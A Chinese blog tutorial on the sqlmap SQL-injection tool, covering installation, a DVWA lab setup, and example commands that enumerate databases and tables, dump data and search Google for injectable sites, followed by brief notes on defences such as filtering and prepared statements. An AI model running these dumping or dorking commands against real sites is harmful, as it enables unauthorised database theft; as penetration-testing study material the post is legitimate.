sqlmap的学习之路-自动化测试SQL注入工具

Posted hanling

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqlmap的学习之路-自动化测试SQL注入工具相关的知识,希望对你有一定的参考价值。

sqlmap 自动化测试sql 注入问题  会返回版本信息等等。

Sqlmap是开源的自动化SQL注入工具,由Python写成,因此运行需要安装python环境.

如需了解更多sqlmap资料可以访问官方http://sqlmap.org/https://github.com/sqlmapproject/sqlmaphttps://www.python.org 。

注意:sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。

特点:

  • 完全支持mysql、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
  • 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
  • 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
  • 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
  • 支持自动识别密码哈希格式并通过字典破解密码哈希。
  • 支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
  • 支持在数据库管理系统中搜索指定的数据库名、表名或列名
  • 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
  • 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。

安装Sqlmap

1.下载python 并且安装;

2.下载sqlmap并且安装;注意将sqlmap 放入环境变量中;

技术分享图片

sqlmap 运行 需要python 2.6或2.7版本  ,版本太高不支持。郁闷┭┮﹏┭┮

 

简单做个记录:

       sqlmap.py 直接运行

技术分享图片

看见这样的界面说明安装成功! 由于安装python版本过高,不能自己运行,截图为官网早期数据。

 

准备测试源码 : DVWA   http://www.dvwa.co.uk/        github 下载源码

解压到 WWW根目录下面

配置vhost环境

修改dvwa config文件下 的 config.inc.php.dist   ==> config.inc.php

修改 IP地址  数据库  用户  密码  端口号

安装dvwa,

csrf     xss   sql注入

 

如果使用sqlmap;

技术分享图片

 

 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"  (url路径)

sqlmap.py -r  "test.text"   (文件名)

 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"    --dbs   获取数据库名称

 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"    --tables   获取表名称

 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"    --dump   转存数据

 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"    --dump  --all  转存数据

 

 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"   data="数据拼接字符串" --dbs   

 


 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"   data="数据拼接字符串" --dbs   --batch  --smart  自动选yes

sqlmap.py -g "inurl:www.lingbook.com"  谷歌搜索  FQ

 

sqlmap.py --g "关键词" --batch --smart  查找注入点

 

web防火墙:硬件防火墙、 软件防火墙

判断是否有恶意请求

ngx_lua.

白帽子代码审计:参数过滤 、sql裸写

 get post  header三方面注入

select * from user where id=1‘    select * from user where id=1"  引发异常语句

特殊字符引发的 异常   ,可能导致sql注入

预编译   过滤


以上是关于sqlmap的学习之路-自动化测试SQL注入工具的主要内容,如果未能解决你的问题,请参考以下文章

sql注入工具之 sqlmap的基本使用

渗透测试工具之sqlmap

实战!使用burp macros和sqlmap绕过csrf防护进行sql注入

SQL注入神器——sqlmap

安全测试===sqlmap(零)转载

sqlmap可以扫描注入点吗